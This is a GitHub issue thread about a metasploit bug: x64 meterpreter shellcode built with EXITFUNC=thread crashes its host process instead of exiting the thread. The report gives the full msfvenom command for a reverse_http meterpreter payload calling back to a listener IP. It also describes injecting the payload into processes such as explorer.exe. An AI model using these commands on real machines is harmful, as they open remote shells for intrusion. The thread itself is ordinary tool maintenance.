metasploit-framework
metasploit-framework copied to clipboard
Exitfunc thread crashes process
Steps to reproduce
- Created shellcode with msfvenom (msfvenom -p windows/x64/meterpreter/reverse_http EXITFUNC=thread LPORT=24601 LHOST=10.0.0.11 -f raw -o shellcode.bin)
- Injected it to an x64 process in a remote machine.
- Didn't open handler.
Expected behavior
After 10 failed attempts to connect to the listener machine, the thread should exit and the hosting process should continue to run normally.
Current behavior
When failing to connect to the remote machine, the shellcode attempts to run the "kernel32_ExitThread" string in kernel32.dll instead of the actual function, which results in access violation (since that location is not executable). This also happens with the reverse_tcp and reverse_https variants, but does not happen with the x86 version of the shellcode.
Metasploit version
Framework Version: 6.0.22-dev
Steps to reproduce
1. Created shellcode with msfvenom (msfvenom -p windows/x64/meterpreter/reverse_http EXITFUNC=thread LPORT=24601 LHOST=10.0.0.11 -f raw -o shellcode.bin) 2. Injected it to an x64 process in a remote machine. 3. Didn't open handler.Expected behavior
After 10 failed attempts to connect to the listener machine, the thread should exit and the hosting process should continue to run normally.
Current behavior
When failing to connect to the remote machine, the shellcode attempts to run the "kernel32_ExitThread" string in kernel32.dll instead of the actual function, which results in access violation (since that location is not executable). This also happens with the reverse_tcp and reverse_https variants, but does not happen with the x86 version of the shellcode.
Metasploit version
Framework Version: 6.0.22-dev
Will keep an close eye on this thread
@teamshmot Thanks for the issue; A step-by-step guide on how to replicate this issue would be appreciated :+1:
- Create payload using msfvenom on the Kali machine: msfvenom -p windows/x64/meterpreter/reverse_http EXITFUNC=thread LPORT=4444 LHOST=10.0.0.11 -f raw -o shellcode.bin
- Inject it to any windows 64 bit machine (windows 7 or 10, for example) to a running process, like explorer.exe in a new thread. This can be done with tools like Evil-WinRM or a running meterpreter shell. The bug will be properly replicated as long as there's a new thread in the process that runs the shellcode.
- Wait for the shellcode to timeout its connection retires (should be about 10 times - 50 seconds), and do not open a handler on the Kali machine.
- Instead of properly exiting the thread, the process will crash.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi there,
I have the same problem. EXITFUNC=thread not working with x64 payloads. I mean, not really exiting the thread. Crash instead.......
For others who wind up here - if you are testing by downloading your shellcode with a script running from PowerShell ISE, it seems exitfunc doesn't matter. I tried running my shellcode in a different application, and it worked fine.
To be brief, I tried the payload with many different "applications" and I always get the same behaviour......
Is the question still actual?